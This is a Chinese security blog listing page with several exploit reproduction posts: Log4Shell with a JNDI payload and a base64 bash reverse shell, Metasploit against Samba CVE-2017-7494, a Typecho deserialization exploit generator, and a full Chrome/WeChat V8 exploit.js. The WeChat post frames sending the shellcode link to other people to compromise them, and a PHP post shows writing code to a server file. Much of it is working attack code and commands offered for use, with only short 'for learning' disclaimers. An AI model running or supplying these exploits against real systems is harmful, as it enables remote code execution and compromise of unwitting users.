首页
关于站长
vFREE&资源
vFREE&导航
vFREE&友人帐
留言区
推荐
自由公式CTF
轻简导航
vFREE&网盘
Search
1
传说中的Windows11初体验(附下载链接和检测工具)
5,180 阅读
2
他的更多信息😋
1,917 阅读
3
MySQL中常见的内些...啥
1,189 阅读
4
非常菜的一个批量布置waf脚本
1,035 阅读
5
初始化一个Git仓库
880 阅读
其他知识
Linux
Windows
MySQL
Git
WriteUp
ctfshow
bugku
bmzctf
其他WP
CTF
Web
Crypto
Misc
AWD
漏洞复现
工具
Typecho
登录
Search
标签搜索
ctf
mysql
CTF-AWD
BMZCTF-WP
brixelctf
Bugku
Windows11
windows
web
web漏洞
xxe
web安全
vFREE
累计撰写
76
篇文章
累计收到
779
条评论
首页
栏目
其他知识
Linux
Windows
MySQL
Git
WriteUp
ctfshow
bugku
bmzctf
其他WP
CTF
Web
Crypto
Misc
AWD
漏洞复现
工具
Typecho
页面
关于站长
vFREE&资源
vFREE&导航
vFREE&友人帐
留言区
推荐
自由公式CTF
轻简导航
vFREE&网盘
搜索到
7
篇与
的结果
2021-12-14
[漏洞复现]log4j漏洞RCE(CVE-2021-44228)
前言2021/12/09,阿里云安全团队向apache报告了由log4j日志引起的远程代码执行,12月10日,当天白帽跟提前过大年似的,疯狂刷src(利用超级简单),让部分src平台暂时停止收类似该漏洞,凌晨,很多程序员和安全员被迫起来应急响应,几乎市面上的大厂都受到了该漏洞的影响这里做一个复现学习的小文章,由于对java这方面的知识雀食是薄弱,而且本地复现时,出现了挺多问题,在本地复现时,不知道是什么原因,利用payload去打的时候,总是说loggxxx模块不存在...idea也犯毛病...果断直接用网上的靶机去复现一波1.漏洞信息漏洞信息 漏洞名称Apche log4j远程代码执行漏洞漏洞编码CVE-2021-44228漏洞危害严重漏洞时间2021/12/10受影响版本Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1利用难度低POC已知EXP已知1.1漏洞描述apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广,小到网站,大到可联网的车都受影响,建议使用了相关版本的应用或者插件,尽快升级修补,做好相关方措施,避免造成不必要的损失2.受影响组件根据网上公开的信息来看,目前一下组件是已知搜受影响的插件Spring-boot-strater-log4j2Apache SolrApache FlinkApache Druid3.漏洞靶场catflag: 暂无掌控安全: http://d63bb2586.lab.aqlab.cn/vulfocus: http://vulfocus.fofa.so/#/dashboardctfshow: https://ctf.show/challenges#Log4j%E5%A4%8D%E7%8E%B0-1730bugku: https://ctf.bugku.com/challenges/detail/id/340.html4.dnslog platformdnslog: http://www.dnslog.cn/dnslog:https://log.xn--9tr.com/ceye:http://ceye.io/5.漏洞复现(如果是仅作是否存在该漏洞测试,使用这条payload即可)测试POC:payload: ${jndi:idap://[这里填写在上面提到的dns platform 中获取到的dns域名]}5.1 本地测试本地测试: Github: https://github.com/fengxuangit/log4j_vuln5.2靶场复现---vulfocus这里以vulfocus靶场进行复现,本文目的是为了让学习和研究该漏洞,禁用用于任何非法行为5.1.1 复现开始1.构造环境最好是配置jdk1.8.0_172的版本,更高的版本可以无法利用成功在反弹shell同时,需要在vps本地构建一个ldap服务GitHub: https://github.com/welk1n/JNDI-Injection-Exploit 使用: 1.cd JNDI-Injection-Exploit 2.mvn clean package -DskipTests 3.java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1" if '提示' == 'bash: mvn: command not found': 参考文章: https://blog.csdn.net/jiangyu1013/article/details/103584140使用mvn构建完成后,会在该文件夹下新建一个target的文件夹,记录该文件夹2.打开靶机访问地址根据给出的为准3.访问题目注意:题目url要加/hello,并且要以post的方式定义payload值进行传参)即:url/hello POSTDATA:payload=xxxxxxxx4. POC测试在本文上面的第四点讲到的dnslog platform中任意找一个可用的dnslog平台获取一个dns,然后构造payload测试是否存在漏洞payload传入成功会回显okGot SubDomain :获取dnsRcfrcsh Rcord :获取目标是否有解析会回来,如果有的话,说明该站可能纯在log4j的漏洞传入payload (${jndi:idap://[这里填写在上面提到的dns platform 中获取到的dns域名]})回到dnslog platform查看是否有解析记录如果dnslog platform返回了类似上面的内容的花,即证明该漏洞存在切可用5.构造环境使用到第一步搭建好的 JNDI-Injection-Exploit在JNDI-Injection-Exploit目录下执行java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,[经过base64编码后的命令]}|{base64,-d}|bash" -A [你的vpsip]比如这样子↓bash -i >& /dev/tcp/127.0.0.1/6666 0>&1 ---> YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2NiAwPiYx java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2NiAwPiYx}|{base64,-d}|bash" -A 127.0.0.1 注意:根据自身情况调整payload6.打开监听另起终端,打开nc -lvp 端口 进行监听7.Attackvulfocus的靶机,用类似下面这个payload8.成功getshell6.修复建议1.更新log4j至 rc2(https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2)2.配置防火墙策略,禁止主动连接外网设备3.升级受影响的应用及组件4.过滤相关的关键词,比如${jndi://*}......注意,2021/12/10 360漏洞云发布二次通告预警,官方发布的修复rc1版本仍然可以绕过,请使用该版本的的用户尽快升级至rc27.注意的点所有漏洞复现文章仅供学习交流使用,禁止用于非法用途!!!!!!!!!!!!!!!!!!
2021年12月14日
183 阅读
1 评论
0 点赞
2021-12-08
[漏洞复现]Linux版的"永恒之蓝"
1.漏洞信息samba远程命令执行漏洞 CVE编号CVE-2017-7494影响版本Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本危害命令执行/代码执行级别高2.漏洞原理samba运行连接一个远程的命名管道,并且会在连接前调用is_known_pipename()函数验证管道名称是否合法,但是该函数不会检查管道名称中的特殊字符,加载了使用该名称的动态链接库,导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码,相当于Linux版的永恒之蓝3.利用条件目标开放了443端口具有共享文件写入权限共享目录的网络路径4.漏洞复现为了给大家提供一个漏洞复现的环境,找到了两个环境给大家使用漏洞环境 环境一(自己搭建)https://pan.baidu.com/s/1QueT0MgKqTK-4Y1pIThHSw (提取码:gc29)环境二http://ctf.vfree.ltd/challenges#easy_smb-113 (请勿破坏环境,谢谢大佬们~)1.打开kali,打开命令行2.打开msfconsole,由于metasploit已经集成了该漏洞利用的payload,所以直接用kali复现即可3.payload名字是is_known_pipename,如果忘了或者不知道payload的路径,可以输入命令search is_known_pipename这个关键词去搜索payload路径,返回了exploit/linux/samba/is_known_pipename扩展一下知识,返回的路径第一个exploit就是攻击的意思,攻击模块,还有一个模块叫做auxiliary,意思是验证某个漏洞是否存在,这两个也是较为常用使用攻击模块,键入以下命令use exploit/linux/samba/is_known_pipename键入命令查看需要配置的选项show options在Required一列中,凡是是标明yes的,都要填入信息,也就是说利用该漏洞,要填入RHOST和RPORT,由于环境二是搭建在docker上面的,我把445端口映射到10003端口,这里的445要修改成10003,执行一下两个命令// set+Name+内容 set rhost ctf.vfree.ltd set rport 10003然后在使用show options去查看是否设置成功可以看到已经设置成功,接下来使用exploit命令发起攻击稍等片刻,如果出现了session 1的字样则代表攻击成功执行命令验证攻击成功5.漏洞修复修复建议 修复建议升级samba到4.6.4/4.5.10/4.4.14甚至更高的版本
2021年12月08日
35 阅读
0 评论
0 点赞
2021-05-10
[漏洞复现]Typecho反序列化漏洞
{lamp/}简介今儿复现一个陈年老漏洞,就说typecho的反序列化漏洞,可导致前台getshell,漏洞点在于文件夹下的install.phptypecho是一个个人认为最清爽的一个cms,前端到后台一目了然,少了些繁杂的操作,安装过程也是一条龙,从安装到使用用不上5分钟,所以有需要建站的大佬们,可以尝试一下typecho漏洞危害可以直接getshell漏洞复现<?php class Typecho_Feed { const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct() { $this->_type = $this::RSS2; #$this->_type = $this::ATOM1; $this->_items[0] = array( 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct() { $this->_params['screenName'] = 'phpinfo()'; //此处修改需要执行的代码 $this->_filter[0] = 'assert'; } } $exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($exp)); ?>运行改代码会生成相应的base64的payload,以上代码会生成YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=将输出的payload通过base64传过去设置url为:http://localhost/install.php?finishpost data: __typechi_config= payload如图所示↓输入完成后,直接发送请求,回到浏览器网页,如果发现变成了这样子↓则意味着复现成功,并且该网站存在这一个漏洞!!!如果有需要,可以自行扩展攻击代码,但是不能用于非法用途!!!修复建议安装完typecho后,将install.php删除升级版本后言我太菜了,不会代码审计,所以不做分析,如有需要,可以借鉴这篇文章《Typecho前台Getshell漏洞分析》所有的漏洞复现文章在这里仅做学习测试使用,禁止用于非法用途!!!注:部分图片源自于网络,如有侵权,请联系删除!!!谢谢
2021年05月10日
164 阅读
0 评论
0 点赞
2021-04-21
[漏洞]微信(Chrome)漏洞复现
最近谷歌浏览器的漏洞真的是够热闹的,先有Chrome浏览器的远程代码执行漏洞,现在又爆出了微信默认浏览器的远程代码执行漏洞,多么美好的"梦幻联动" 漏洞影响范围Windows版 微信<3.2.1.141 漏洞产生的原因微信的默认浏览器使用了低版本的Chrome内核,而且相比较Chrome浏览器来说,微信的是默认不开启沙盒的,该漏洞的主要影响如果是开启了沙盒的话,对一般的用户来说并没有啥太大的影响,但是在没有开启沙盒的情况下,打开了payload链接,受攻击的几率是大大增加的,爆出这个漏洞后,估计有些大佬天天都是"发个链接给你,点一下!!!" 漏洞复现先通过 https://wuchendi.gitee.io/chrome/index.html 查询当前微信使用的谷歌内核版本是多少,直接复制到微信打开就行了 上图可以清楚地看到,微信的浏览器是关闭了沙盒运行的,在第14行的--no-sandbox...此时可以继续使用在chrome 0day中的测试网页,但是要将exploit.js的内容更改成: ENABLE_LOG = true; IN_WORKER = true; // run calc and hang in a loop var shellcode = [ ] //这里添加shellcode function print(data) { } var not_optimised_out = 0; var target_function = (function (value) { if (value == 0xdecaf0) { not_optimised_out += 1; } not_optimised_out += 1; not_optimised_out |= 0xff; not_optimised_out *= 12; }); for (var i = 0; i < 0x10000; ++i) { target_function(i); } var g_array; var tDerivedNCount = 17 * 87481 - 8; var tDerivedNDepth = 19 * 19; function cb(flag) { if (flag == true) { return; } g_array = new Array(0); g_array[0] = 0x1dbabe * 2; return 'c01db33f'; } function gc() { for (var i = 0; i < 0x10000; ++i) { new String(); } } function oobAccess() { var this_ = this; this.buffer = null; this.buffer_view = null; this.page_buffer = null; this.page_view = null; this.prevent_opt = []; var kSlotOffset = 0x1f; var kBackingStoreOffset = 0xf; class LeakArrayBuffer extends ArrayBuffer { constructor() { super(0x1000); this.slot = this; } } this.page_buffer = new LeakArrayBuffer(); this.page_view = new DataView(this.page_buffer); new RegExp({ toString: function () { return 'a' } }); cb(true); class DerivedBase extends RegExp { constructor() { // var array = null; super( // at this point, the 4-byte allocation for the JSRegExp `this` object // has just happened. { toString: cb }, 'g' // now the runtime JSRegExp constructor is called, corrupting the // JSArray. ); // this allocation will now directly follow the FixedArray allocation // made for `this.data`, which is where `array.elements` points to. this_.buffer = new ArrayBuffer(0x80); g_array[8] = this_.page_buffer; } } // try{ var derived_n = eval(`(function derived_n(i) { if (i == 0) { return DerivedBase; } class DerivedN extends derived_n(i-1) { constructor() { super(); return; ${"this.a=0;".repeat(tDerivedNCount)} } } return DerivedN; })`); gc(); new (derived_n(tDerivedNDepth))(); this.buffer_view = new DataView(this.buffer); this.leakPtr = function (obj) { this.page_buffer.slot = obj; return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt); } this.setPtr = function (addr) { this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt); } this.read32 = function (addr) { this.setPtr(addr); return this.page_view.getUint32(0, true, ...this.prevent_opt); } this.write32 = function (addr, value) { this.setPtr(addr); this.page_view.setUint32(0, value, true, ...this.prevent_opt); } this.write8 = function (addr, value) { this.setPtr(addr); this.page_view.setUint8(0, value, ...this.prevent_opt); } this.setBytes = function (addr, content) { for (var i = 0; i < content.length; i++) { this.write8(addr + i, content[i]); } } return this; } function trigger() { var oob = oobAccess(); var func_ptr = oob.leakPtr(target_function); print('[*] target_function at 0x' + func_ptr.toString(16)); var kCodeInsOffset = 0x1b; var code_addr = oob.read32(func_ptr + kCodeInsOffset); print('[*] code_addr at 0x' + code_addr.toString(16)); oob.setBytes(code_addr, shellcode); target_function(0); } try{ print("start running"); trigger(); }catch(e){ print(e); } 或者直接下载: 隐藏内容,请前往内页查看详情 https://github.com/vFREE-1/wechat-ces以上代码源自于微信公众号:潇湘信安 此时可以使用cs或者msf生成shellcode,这里使用cs生成c#的shellcode做的反弹shell测试,生成的shellcode添加入var shellcode后面的[]中即可 然后将链接发送给其他人,一旦点击,鱼儿就上钩了...就像这样子点击后... 如果有一台vps的话,就...嘿嘿嘿,别做坏事至于如何生成shellcode见:https://www.163.com/dy/article/G83DN1SG0534HPN8.html仅做学习测试,禁止用于违法上,如果你知法犯法了,那就与我无关 修复方案1.升级微信版本至最高(设置 - 关于 - 检测更新)2.不打开可疑链接3.开启防护软件注:部分图片源自于网络,部分漏洞分析和代码摘自于网络,如有侵权,请联系删除!!!谢谢仅做学习使用,禁止用于违法操作!!!
2021年04月21日
438 阅读
4 评论
1 点赞
2021-04-13
谷歌(Chrome)最新0day漏洞
今天上午的时候,在公众号上看到了来自"三百六十"推送的一个漏洞,定睛一看,居然是谷歌的RCE漏洞,嚯嚯嚯!!!好家伙,于是立刻去找了POC来进行验证 受影响的版本:<= 89.0.4389.114(目前最新的正式版)受影响浏览器:Chrome或者内核是Google的浏览器该漏洞尚且在别的浏览器测试暂未成功 漏洞复现验证POC:https://github.com/r4j0x00/exploits/tree/master/chrome-0day 开始之前,要将Chrome的sandbox关闭,直接在chrome的快捷方式--属性---位置/目标---移动到最后面---然后添加 "--no-sandbox"据说是因为这个漏洞无法逃逸沙箱,要想无条件RCE,就得关闭沙箱... 根据GitHub作者的twitter显示,打开exploit.html这个网页之后,就会自动弹出一个计算器出来,也不限于计算器,大佬自行修改以下是我测试之后的结果,是可以打开计算器的,但是可能由于沙盒没有计算器,所以打不开(主系统是不可能拿来那个测试的 [手动狗头] )第一次测试不成功,刷新一下... 参考链接:https://mp.weixin.qq.com/s/xlPlw9IT0F7YB6j_Uh9RkQ参考链接:https://mp.weixin.qq.com/s/dZl_Urk8cOJ1Qbe16HBFGQ 修复建议不打开来历不明的网站,如果说一定要打开,就用Windows自带的神器Sandbox打开,简称沙盒,沙盒和系统是隔离开,有什么网站,软件啥的,都可以通过沙盒确定是否危险在决定移到主系统,沙盒关机后,会自动清除,除此之外,关注chrome浏览器的更新发布,有更新就更新到最新的,同时,不要关闭Sandbox(默认开启) 注:部分图片源自于网络,如有侵权,请联系删除!!!仅作学习使用
2021年04月13日
390 阅读
1 评论
0 点赞
2021-04-11
CVE-2016-7124反序列化漏洞
CDN即内容分发网络,主要是解决访问网站速度,比如说,某个网站的主机是在黑龙江的,现在有人要在广东访问,没有CDN加速的话,肯定是慢的,CDN的作用就是将该网站的静态资源先放在各地的CDN主机上,如果有人需要访问,就会就近原则,访问cdn主机上的静态资源,这样子,访问的速度,就有了大大的提升 漏洞成因今天学习反序列化的时候,看到cve-2016-7124的这个漏洞,漏洞产生的原因是因为可以修改属性数的大小跳过wakeup的执行,何为wakeup呢?__wakeup是PHP中的一个魔术方法,如果在反序列化一个类的时候,会先检查是否有__wakeup的存在,有的话,会先调用wakeup里面的内容 利用版本限制PHP5:<5.6.25PHP7:<7.0.10 代码class vFREE{ public $name='vFREE'; public $age='18'; function __wakeup(){ $this->age = "18"; } function __destruct(){ $path='flag.php'; $file_get=file_put_contents($path,$this->name); }}$flag = $_GET['flag'];$unser = unserialize($flag); 上面是栗子 审计一波类名:vFREE类属性:name和age魔术方法:__wakeup和__destruct__destruct是析构方法,一般都是最后或者被销毁才会给调用 类外部用到了反序列话函数unserialize,但用到这个函数时,就会像检查类vFREE中有没有__wakeup方法,有的话就执行,没有就跳过,很明显,代码中有wakeup,但是wakeup的内容就是一个赋值操作,并起不了太大的作用,反而destruct中可以利用一波,因为destruct中打开一个flag.php的文件,然后将$this->name的值作为内容写入到flag.php中,假如我们写入一个木马呢,那危害不就上来了么...我们要传入一个参数flag,并且将传入的值放入反序列化函数中执行,所以我们要传入的应该是一个序列化后的字符串,此时我们应该类vFREE进行序列化,代码如下:<?phpclass vFREE{ public $name='vFREE'; public $age='18'; function __wakeup(){ $this->age = "18"; } function __destruct(){ $path='flag.php'; $file_get=file_put_contents($path,$this->name); }}$vfree=new vFREE();echo serialize($vfree);?>序列化后得到 O:5:"vFREE":2:{s:4:"name";s:5:"vFREE";s:3:"age";s:2:"18";} O即对象的缩写5即说明类名有五位字符2即有两个类属性{}即所有类属性名和内容s即字符串4即类属性名有4位字符name即类属性名字以此类推... 此时在看代码,发现写入到flag.php中的是$this->name的值,所以,我们要更改name的内容,怎么改呢?把name后面s:5:"vFREE"的vFREE改成你先插入的内容,比如改成<?php phpinfo();?>,就变成 O:5:"vFREE":2:{s:4:"name";s:18:"<?php phpinfo();?>";s:3:"age";s:2:"18";} 注意,此时s后面的5改成18了,因为<?php phpinfo();?>一共有18个字符,所以,数值要随着字符数的变化而变化,然后传入即可当然,此时还是会先执行wakeup方法的,并未先执行destruct,根据开头讲的,更改原有属性值达到绕过过wakeup的效果,此时的类中属性值是2,我们要将2改成其他数字,改成什么都行,反之一定要大于2,比如 O:5:"vFREE":5:{s:4:"name";s:18:"<?php phpinfo();?>";s:3:"age";s:2:"18";} 改成5,就可以绕过了成功写入,当然,可以写其他的,自己发挥啦,别干坏事就好了 注:部分图片源自于网络,如有侵权,请联系删除!!!谢谢
2021年04月11日
234 阅读
0 评论
0 点赞
1
2